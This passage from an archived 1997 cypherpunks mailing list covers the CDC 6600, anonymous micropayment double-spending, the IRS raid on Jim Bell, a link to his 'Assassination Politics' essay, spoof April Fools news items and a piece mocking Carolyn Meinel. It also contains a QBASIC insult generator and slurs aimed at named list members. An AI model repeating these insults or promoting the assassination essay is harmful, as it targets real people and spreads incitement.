ELSEIF abgis = 15 THEN
s$ = " a reform devil worshipper": GOSUB O
ELSEIF abgis = 16 THEN
s$ = " a typical product of anal intercourse": GOSUB O
END IF

RETURN

O:
IF s$ = "" THEN
PRINT O$
PRINT ""
O$ = s$
ELSE
O$ = O$ + s$
WHILE LEN(O$) > 79
N = 79
WHILE (N > 40) AND MID$(O$, N, 1) <> " "
N = N - 1
WEND
s$ = LEFT$(O$, N)
PRINT s$;
O$ = MID$(O$, N + 1)
WEND
END IF
RETURN


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 17:22:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <v03007804af69d29e23d8@[207.167.93.63]>
Message-ID: <um2L5D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> Next came the vaunted 6600, after almost not being funded to completion. It
> waws the first true supercomputer. Cray had moved his team up to Chippewa
  ^^^^???

I used to play with a 6600. It had some interesting hardware features:
* It used one's complement rather than two's complement to represent negative
integers. (I.e. -x is the same as not x; a pattern of all 1's is '-0'.)
* It had 60-bit words for both integers and single-precision reals.
A 120-bit double precision was pretty slow. A word could fit 10 6-bit
characters, but any kind of text processing was a bitch.
* 15-bit addresses referred to the whole word. A word could contain
several instructions, but only an instruction on a word boundary
could be a target of a branch.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Justin Burke <jburke@alt255.com>
Date: Thu, 3 Apr 1997 19:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) Re: Interesting crypto news (fwd)
Message-ID: <Pine.LNX.3.95.970403194140.4054B-100000@tangent>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
From: seward@netcom.ca (John Savard)
Newsgroups: sci.crypt,alt.politics.org.nsa
Subject: Re: Interesting crypto news
Date: Thu, 03 Apr 1997 20:05:44 GMT

NEVADA (Reuter) --
Researchers today announced a breakthrough in quantum computing
which will greatly ease the creation of computing engines containing
quantum gates constructed from atomic traps.  Previously this was
thought to be an extremely difficult task, but thanks to some
astounding new breakthroughs by scientists at Lab 13, a previously
unknown research division at Nellis AFB in Nevada, the construction of
advanced quantum computers should now become routine.  "An initial
consignment of 3 acres of quantum computers has already been shipped
to a government agency, and we expect to begin shipping products to
other organisations within the next few years" said an Air Force
spokesperson.  

WASHINGTON (Reuter) --
In a surprise move, the Clinton administration today announced moves
to lift restrictions on the export of strong encryption technology.
For years the government has argued that it needs the ability to crack
strong encryption to thwart the Soviets, and then after they went
away, to catch criminals and terrorists.  The new move to allow the
free export of encryption has suprised the industry.  "We're
surprised" said a Microsoft spokesperson who asked to remain
anonymous.  Law enforcement officials were more forthcoming: "We are
now satisfied that we can handle any problems caused by the widespread
use of strong encryption" said FBI director Louis Freeh.

The articles were posted on March 31st...clearly a day too soon.
However, it's not to soon to think about designing ciphers that even
three acres of quantum computers would find it daunting to crack...

John Savard


--

Justin Burke <jburke@alt255.com>
To get my PGP key, send a message with the subject "get-pgp-key".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:41:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  1/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <334469A6.688E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:41:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  2/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <334469D3.1A7C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  3/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A10.7A55@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  4/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A34.74C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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-----END PGP MESSAGE, PART 04/05-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  5/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A58.7290@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP MESSAGE, PART 05/05-----

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MiMxf/RxUjWj5Sqds7oKM2rpt1QAZw8YBxTb4soUZnFK7cLjkBs1eQl5+/mMZnUS
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1IpdjuUuWP2+wUPD5kt+mSh+Q1ptHJi3VrBE4Xde3ZkF/J/Bauf9enLpne+hUZ6Z
gY1byDkYvGbM1fLvN6jxIdJLYP6vmFEiOGddhpnKhlDPlIIrRLdQ0/tqhDmsC8t0
Kef6WBz10KMed4uLpdNSHSCX1XUXkpPQyI6cFM62ntTog/qz3AxEU/FXCZ5xVbtV
L1Uxrhao0G5xb0G7ErUeQtKseD+v7VrL7K/82Q==
=wo+k
-----END PGP MESSAGE, PART 05/05-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nolegz@juno.com (Lloyd E Briggs)
Date: Thu, 3 Apr 1997 18:12:57 -0800 (PST)
To: frantz@netcom.com
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970402000825.61388@bywater.songbird.com>
Message-ID: <19970403.211524.6614.0.NOLEGZ@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, after i read this, a quaestion popped into my head?  Would the
governmnet do the same with snail -mail?  But more importantly, does the
governm,ent have the right to even go through your private property? 


On Wed, 2 Apr 1997 20:36:52 -0800 Bill Frantz <frantz@netcom.com> writes:
>At 5:43 PM -0800 4/2/97, Timothy C. May wrote:
>>However, key recovery need have no "hooks" by government into it. The
>>attempt by the government to ensure secret access, without even so 
>much as
>>a search warrant, is revealing.
>
>This issue is to me key.  If the government wants any creditability on 
>the
>GAK issue, it will include in any GAK system, a provision for 
>independent
>auditing, after the fact, of intercepts.  (BTW - I will still oppose 
>GAK,
>but some of my best arguments will be taken away.)
>
>It seems to me that once you swollen the idea that government has, 
>under
>any circumstances, a right to read your mail, there are two issues.
>
>(1) Is the proscribed procedure fair?
>(2) Did the government follow the procedure?
>
>(My opposition to GAK is based on my belief that there are no star 
>chamber
>proceedings which are fair.  The ability to confront the witnesses 
>against
>you and compel witnesses to testify for you are key here.)
>
>However, auditing only addresses the second issue.  There are many 
>problems
>with auditing the government's use of its access.  One key one is, who 
>is
>the auditor?  At CFP97, I suggested that the press would make a good
>auditor.
>
>If the KRAP agency is truly at arms length from the government*, then 
>a
>report of the keys released compared with records that the procedures 
>were
>followed, would allow anyone, the press included, to check that the
>government followed the procedures.
>
>Now, I frequently think that the press is in bed with the government, 
>so I
>am looking for a better auditor.  Some institution which values its
>reputation more than it values its relationship with the government 
>would
>do.  Anyone have any good candidates?
>
>* Assuring this arms length relationship is an exercise for the 
>student.
>(I give it a Knuth grade of 50.)
>
>
>-------------------------------------------------------------------------
>Bill Frantz       | I have taken a real job at | Periwinkle -- 
>Consulting
>(408)356-8506     | Electric Communities as a  | 16345 Englewood Ave.
>frantz@netcom.com | capability security guru.  | Los Gatos, CA 95032, 
>USA
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 3 Apr 1997 20:19:30 -0800 (PST)
To: frissell@panix.com (Duncan Frissell)
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403221107.006e520c@panix.com>
Message-ID: <199704040410.WAA02207@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


To all lawyers out there: aren't there PUBLIC RECORDS that contain
teh search warrant with the probably cause explanation and other
material? It would be interesting to send a letter to some court
and ask for all public record stuff about jimbell.

just an idea

igor

Duncan Frissell wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> 
> >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> >haven't seen him write anything that I thought was criminal. 
> 
> The government persists in harassing or arresting people in these 1st
> Amendment cases even though they know they will not even be able to survive a
> motion to dismiss.  It seems to be recreational for them.  You can tell
> they're not serious because they didn't arrest Jim.   
> 
> JB has certainly managed to get noticed amongst all the "noise" out there in
> the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> many death threats must whitehouse.gov get these days?  They probably lack
> the person power to investigate all of them.  
> 
> This will be another one where the raid gets publicity and the failure to
> prosecute is only noticed by a few.  When they drop him, he should trumpet it
> far and wide.  The dropping of the Jake Baker case got little publicity and I
> even had another lawyer on one of the law lists say that he thought they
> might try for another indictment.  I knew they'd never get anywhere.
> 
> In those very rare cases where you get a guaranteed government loss criminal
> investigation/prosecution the party involved should verbally abuse the
> government and point out their manifest pathetic weakness.  It is very rare
> to be in that situation because the government won't usually back a loser.  I
> urged Phil Z. to take an aggressive approach in his case but he felt
> uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> authority of the government and was reluctant to bash it.
> 
> So, JB, find a Portland cybercafe and let 'em have it.
> 
> DCF
> 
> "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> For Thee."
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> tDeuUYPEOyg=
> =0Znu
> -----END PGP SIGNATURE-----
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 3 Apr 1997 20:03:24 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <3.0.1.32.19970403221107.006e520c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:

>It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
>haven't seen him write anything that I thought was criminal. 

The government persists in harassing or arresting people in these 1st
Amendment cases even though they know they will not even be able to survive a
motion to dismiss.  It seems to be recreational for them.  You can tell
they're not serious because they didn't arrest Jim.   

JB has certainly managed to get noticed amongst all the "noise" out there in
the world.  Very difficult to do.  And it's getting worse with the Nets.  How
many death threats must whitehouse.gov get these days?  They probably lack
the person power to investigate all of them.  

This will be another one where the raid gets publicity and the failure to
prosecute is only noticed by a few.  When they drop him, he should trumpet it
far and wide.  The dropping of the Jake Baker case got little publicity and I
even had another lawyer on one of the law lists say that he thought they
might try for another indictment.  I knew they'd never get anywhere.

In those very rare cases where you get a guaranteed government loss criminal
investigation/prosecution the party involved should verbally abuse the
government and point out their manifest pathetic weakness.  It is very rare
to be in that situation because the government won't usually back a loser.  I
urged Phil Z. to take an aggressive approach in his case but he felt
uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
authority of the government and was reluctant to bash it.

So, JB, find a Portland cybercafe and let 'em have it.

DCF

"Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
For Thee."
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
tDeuUYPEOyg=
=0Znu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Apr 1997 22:36:06 -0800 (PST)
To: die@die.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3.0.1.32.19970403223248.006787c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery wrote:
>  told him that Motel 6 gives their guest list to the FBI every day.

I'd find this fairly surprising, though the Fedz can obviously
get it by subpoena or warrant if they feel like it.
However, notice that most hotels you stay in want to know
your name, address, company, etc.  Some of it's for marketing reasons
(so they can sell your name to advertisers), but I'd guess that
in many jurisdictions there are legal requirements to collect it.
Otherwise, all your basic motel needs to check is that the
cash or credit card you pay them in advance is good (if it's not,
they can evict you). (Modulo a few phone bills.)
Immediate clearing works fine, no need for book entry or names.

Of course, there are countries where they want to see your
Citizen-Unit ID Card, or else your passport, and if you're a
foreigner they'll keep your passport overnight to register it with
the police.  GAK...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 3 Apr 1997 19:38:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS raids a cypherpunk
Message-ID: <v03007806af6a2703104f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


[I've attached some excerpts from the article. Check
out the URL below for the whole thing. --Declan]

********

http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

The Netly News Network
April 3, 1997

IRS raids a cypherpunk
by Declan McCullagh (declan@well.com)


     Jim Bell's first mistake was publishing an
essay describing how disgruntled citizens could
kill off Federal government agents by using
anonymous betting pools and digital cash. His
second mistake was informing the IRS that the
agency had no legal authority to tax him.

     About twenty armed IRS agents and other
Federal police swarmed into Bell's home in
Washington state on Tuesday morning, hunting for
evidence that Bell's "Assassination Politics"
essay had come to fruition. They expropriated
Bell's three computer systems, two guns and even
a solitary mouse cable. The Feds were taking no
chances: Since Bell's voluminous Net postings
mentioned tax collectors, agents from the BATF,
FBI, DEA, and local police forces joined the
raid.

[...]

     The raid stemmed from a six-month tussle
between Bell and the IRS, which began in November
1996 when the 38-year old computer engineer
demanded a hefty tax refund and threatened to
convene his own "common-law court" if it was
refused. That grabbed the Feds' attention. (So
did the actions of the "Multnomah County Common
Law Court," which apparently met in January to
convict IRS agents and Attorney General Janet
Reno of "theft by deception.") In February, IRS
agents seized Bell's 1986 Honda as payment for
back taxes -- and found inside it a printout of
his "Assassination Politics" essay. "

[...]

     And it was, ultimately, a Federal magistrate
who signed the search warrant on 9:02 am on March
28 at the request of the IRS. Jeffrey Gordon, an
inspector in the IRS' Internal Security Division,
details in an 10-page affidavit how he traced
Bell's use of allegedly fraudulent Social
Security Numbers, how he learned that Bell had
been arrested in 1989 for "manufacturing a
controlled substance," how he found out that Bell
possessed the home addresses of a handful of IRS
agents. Gordon's conclusion: Bell planned "to
overthrow the government." The IRS investigator
says in his affidavit that Bell's "essay details
an illegal scheme by Bell which involves plans to
assassinate IRS and other government officals...
I believe that Bell has begun taking steps to
carry out his Assassination Politics plan."

[...]


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 21:04:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics on Website
Message-ID: <33448C3F.3DD9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell's "Assassination Politics" is at:
http://www3.sk.sympatico.ca/carljohn/
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 3 Apr 1997 23:31:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No, it's PayWord, no, it's MicroMint, no, it's...
In-Reply-To: <199704040538.VAA01156@crypt.hfinney.com>
Message-ID: <5i2af3$vhq@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199704040538.VAA01156@crypt.hfinney.com>,
Hal Finney  <hal@rain.org> wrote:
> David Wagner, daw@cs.berkeley.edu, writes:
> > 	http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments
> 
> I wonder if there is a problem with the double spending detection.
> Somebody could spend at a store, then return some of the spent coins to
> the broker before the store has a chance to update the broker with the
> most recent spending report.  Maybe the broker could contact the store and
> let them know that the stack was redeemed now, and see how many had been
> spent.

In the non-anonymous case, shops can go offline and redeem sticks nightly;
this doesn't prevent double-spending, but allows detection, so that brokers
can blacklist double-spenders.

When you move to anonymity, you need a different approach; going online at
stick commitment time works (i.e. when the shop checks the digital signature
it simultaneously goes online to the bank).  This has some of the costs of
online schemes, but isn't terrible, because you only do it when the first
coin is paid, not when subsequent coins are.

If going online is a problem, you could imagine doing probabilistic
online checking.  The shop has a 10% chance (say) of going online and
checking immediately, and a 90% chance of batching for verification on
the half hour.  If the shop sees a bunch of fraud going on during some
batched verification, then the shop has to take that as a loss, but it
then knows to increase the chance of going online significantly.  You
can imagine auditing agencies (or the bank) publishing daily statistics
on fraud, and businesses adjusting their percentages to respond with
the trends.  Again, different shops will probably have different trade-offs
(based on performance demands, risk, whether they're using durable goods
or selling just bits, and such); this gives them flexibility in choosing
their risk profile.


You mention specifically the special double-spending problem of spending
once at a shop and once when asking for a redemption of a partially-spent
stick.  To help ameliorate this particular problem, some special-purpose
solutions are available: for instance, you could enforce a one-day waiting
period on trade-ins for partially-spent sticks.  For instance, the consumer
commits today, and if no shop has collected by tomorrow, he gets the cash
back; shops are instructed to verify nightly, or else they bear much more
risk.  Consumers don't need to trade back their sticks in real-time; they
can certainly be forced to wait a day or two at no real inconvenience.

> I had an idea for doing the double-spending problem in an offline way by
> using the same technique used for Chaum's offline coins.  The customer
> embeds his identity in the coins, blinded with a random number.  A cut
> and choose technique is used during withdrawal for him to prove that
> he has set up his coins correctly.  Then when he spends the first time
> at the shop, he responds to a random challenge revealing some of his
> blinded info.  This is done in such a way that if he spends at two shops,
> his identity is revealed by combining the info from the two different
> challenges.
> 
> Unfortunately then when he returns the unspent coins at the broker,
> and goes through the protocol there, that will reveal his identity since
> he is in effect double spending the stack.

I don't know; I know nothing about Chaum's offline coins.

Can you enforce a trade-in where the new stick the user gets has the
same identity information in it that the old stick had, and the bank can
verify this equality (cut-and-choose somehow??) without needing to know
the identity informatino itself?  I don't know.

> Another concern was for the method where a stack of 87 coins gets redeemed
> for a fresh stack of 87.  This has the slight problem that the size of
> the new stack would be correlated with the size of the one turned in.

Good point.  That didn't occur to me.  Thanks.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 3 Apr 1997 20:31:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: EVENT!  Rep. Rick White to hold live online town hall meeting 4/10!
Message-ID: <199704040431.XAA07521@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.3              http:/www.democracy.net/            April 3 1997
_________________________________________________________________________
Table of Contents

 - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10.
 - Background on Rep. White
 - Upcoming Events
 - About democracy.net
___________________________________________________________________________
JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE!

Representative Rick White (R-WA), co-founder of the Congressional Internet
Caucus and leader on Internet policy issues, will be the guest at
democracy.net's first live, interactive 'town hall meeting' on Thursday
April 10 at 8:30 pm ET (5:30 pm PST).

The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
completely virtual.  The discussion will be cybercast live via RealAudio,
and listeners can join a simultaneous interactive chat discussion and pose
questions to Rep. White.

This is a unique opportunity for Internet users to discuss current Internet
issues, including efforts to reform US Encryption policy, the future of the
Communications Decency Act, the activities of the Congressional Internet
Caucus, and others.

Details on the event, including instructions on how you can submit questions
in advance, are attached below.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

         * Interactive Town Hall Meeting with Rep. Rick White (R-WA) *

 DATE:      Thursday, April 10, 1997
 TIME:      5:30 pm PST / 8:30 pm EST
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. White a question.  We will collect the
questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. White a question!

   Please mark this date in your calendar: Thursday April 10, 5:30PM PST
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

_____________________________________________________________________________
BACKGROUND

Congressman Rick White, 43, is serving his second term representing the
people of the First Congressional District of Washington state, which
includes parts of Seattle, Redmond, and surrounding areas.

In 1995, White gained national attention through his work on the
Internet and high-technology issues. He was one of a handful of members
selected to develop the final Telecommunications Act of 1996.  As the
founder of the Congressional Internet Caucus, he has worked to educate
members of Congress about the Internet and to create a more open,
participatory government through the use of technology.

Additional Information can be found at the following locations:

* Rep. Rick White's Home Page   --   http://www.house.gov/white/
* democracy.net Page            --   http://www.democracy.net/

_______________________________________________________________________________
UPCOMING EVENTS

Representative Anna Eshoo (D-CA), Internet policy leader from Silicon
Valley, will be the guest at democracy.net's interactive 'town hall meeting'
on Wednesday April 16 at 8:30 pm ET (5:30 pm PST).

Visit http://www.democracy.net for more details.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/

_____________________________________________________________________________
End update no.3                                                    04/03/1997
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 3 Apr 1997 21:36:39 -0800 (PST)
To: declan@well.com
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.GSO.3.95.970404002508.11418A-100000@cp.pathfinder.com>
Message-ID: <199704040533.XAA03035@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> 
> Yes, there are. I have a copy of the search warrant, IRS affidavit, and
> list of seized items. Beyond that, there's nothing else in the court
> record. And the U.S. Attorney isn't saying much.

This is cool. Could you post them? That woul;d be interesting.

igor


> -Declan
> 
> On Thu, 3 Apr 1997, Igor Chudov @ home wrote:
> 
> > To all lawyers out there: aren't there PUBLIC RECORDS that contain
> > teh search warrant with the probably cause explanation and other
> > material? It would be interesting to send a letter to some court
> > and ask for all public record stuff about jimbell.
> > 
> > just an idea
> > 
> > igor
> > 
> > Duncan Frissell wrote:
> > > 
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > 
> > > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> > > 
> > > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> > > >haven't seen him write anything that I thought was criminal. 
> > > 
> > > The government persists in harassing or arresting people in these 1st
> > > Amendment cases even though they know they will not even be able to survive a
> > > motion to dismiss.  It seems to be recreational for them.  You can tell
> > > they're not serious because they didn't arrest Jim.   
> > > 
> > > JB has certainly managed to get noticed amongst all the "noise" out there in
> > > the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> > > many death threats must whitehouse.gov get these days?  They probably lack
> > > the person power to investigate all of them.  
> > > 
> > > This will be another one where the raid gets publicity and the failure to
> > > prosecute is only noticed by a few.  When they drop him, he should trumpet it
> > > far and wide.  The dropping of the Jake Baker case got little publicity and I
> > > even had another lawyer on one of the law lists say that he thought they
> > > might try for another indictment.  I knew they'd never get anywhere.
> > > 
> > > In those very rare cases where you get a guaranteed government loss criminal
> > > investigation/prosecution the party involved should verbally abuse the
> > > government and point out their manifest pathetic weakness.  It is very rare
> > > to be in that situation because the government won't usually back a loser.  I
> > > urged Phil Z. to take an aggressive approach in his case but he felt
> > > uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> > > authority of the government and was reluctant to bash it.
> > > 
> > > So, JB, find a Portland cybercafe and let 'em have it.
> > > 
> > > DCF
> > > 
> > > "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> > > For Thee."
> > > -----BEGIN PGP SIGNATURE-----
> > > Version: 4.5
> > > 
> > > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> > > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> > > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> > > tDeuUYPEOyg=
> > > =0Znu
> > > -----END PGP SIGNATURE-----
> > > 
> > 
> > 
> > 
> > 	- Igor.
> > 
> > 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 21:04:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704040235.SAA09336@netcom12.netcom.com>
Message-ID: <4iDm5D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:
> I have argued with JB in the past over his ideas. while I think they
> are reprehensible, a govt raid is an extremely chilling result.
> I hope it doesn't have the effect of stifling the free flow of
> discourse here (actually nothing ever has) but it seems likely
> to have some effect.

Well - at least they're not "moderating" the list, like Cocksucker
John Gilmore did, and not lying blatantly about their moderation
policies, like Sandy Sandfort, the C2Net salesman, did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Thu, 3 Apr 1997 23:50:20 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Meinel news article(hehe) (fwd)
Message-ID: <Pine.BSI.3.91.970403235142.9201F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 04 Apr 1997 02:42:48 EST
From: J R S <the_incubus@juno.com>
To: dc-stuff@dis.org
Subject: Meinel news article(hehe)

Routers-

     Redmond, Wa - It seems that after Microsoft squashes one bug,
another shows up.

	Today, in Happy Hacker Digest, the ueber-cracker Carolyn Meinel
found another one. It relies on the fact that NT does not use good,
strong encryption. Meinel, a NSA-approached hacker turned media glutton
relied on a her mathematical skills to find the weakness. 
	"I was once offered a job by the NSA. I read the book _Applied
Cryptography_. I know lots of good math jokes." In actuality, it was her
cousin who was offered the job at the NSA, as he could factor numbers in
his head. Carolyn's cousin does other things, such as carry on as her in
internet IRC 'chat sessions'.  
	"Diffie Hellman is not secure. It has back doors in it. I mean it
is suspected to have back doors in it. I mean some guy thinks it might
have a back door in it. I wrote about it in my paper. Go read my paper."
Unfortunately, Meinel was not able to be questioned as to the name of her
paper. 
	With her knowledge of cryptography, Meinel was able to make a
'k-rAd x-pl0it' against the Windows NT operating system. Carolyn found
that if one has administrator access to the 'NT box' than she could
